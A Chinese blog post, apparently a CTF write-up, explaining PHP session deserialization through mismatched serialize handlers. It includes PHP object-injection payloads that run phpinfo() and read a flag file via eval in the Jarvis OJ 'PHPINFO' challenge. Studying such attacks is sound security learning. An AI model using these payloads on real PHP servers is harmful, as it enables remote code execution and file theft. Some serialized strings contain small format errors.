session反序列化

作者 by Yichen / 2023-08-10 / 暂无评论 / 25 个足迹

session工作流程

PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
如果Cookie中存在,获取PHPSESSID
如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
初始化超全局变量$_SESSION为一个空数组
PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
不存在该文件: session_start()创建一个PHPSESSID命名文件
程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

利用条件

php_binary键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值
php键名+竖线+经过 serialize() 函数序列处理的值
php_serialize(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

php>5.5.4后默认是以php引擎进行序列
1.用户可选择处理器来保存session
2.以php方式解析
此时将要传入的序列化后的信息前端加“|”,在不同处理器切换时可使序列化语句生效

eg

1674027468409-8bd4716b-544c-4af9-9973-399087ee9735.png
在这个网页中传入

|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}(此时使用php_serialize解析)
我在session文件中获得的字符串为
a:1{s:8:"username";s:47:"|O:7:"session":1{s:3:"var";s:10:"phpinfo();";}";}
若正常解析应取得|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}该字符串;

1674027689158-f5c91b96-52a5-490b-b3c6-eb403c22c67b.png
但此时用该页面打开时使用了php解析,由于二者的部分差异,加到信息前端的”|“使php对

O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}进行了解析

1674027857999-9779c136-471f-4798-9a2d-6196aec7c480.png
执行效果如图

session上传进度

1674028453207-46fd88e2-bb7e-4fa8-8563-83c5de9e4f5f.png
1674034073467-00cdf4da-56bb-434a-9e19-d8f34a38a1a6.png
举例子:Jarvis OJ 平台的 PHPINFO
源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{ public $mdzz;

function __construct()
{$this->mdzz = 'phpinfo();'; }
function __destruct()
{ eval($this->mdzz); }

if(isset($_GET['phpinfo']))
{ $m = new OowoO();}
else
{highlight_string(file_get_contents('index.php'));}
?>
1674033760364-a73d014c-0dc7-464a-89ea-0c1ba05bda34.png
可知解析器不同能搞
再看进度保存格式为:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,),));

标红处可以BP抓包控制
1674034304171-5dddd9b4-faa9-419a-9ff4-d34b7a507f05.png
最终

payload:|O:5:\"OowoO\":1{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

加/防止“被url编码
1674034405380-431c3a2b-f35b-4280-9674-10c09098c6da.png

独特见解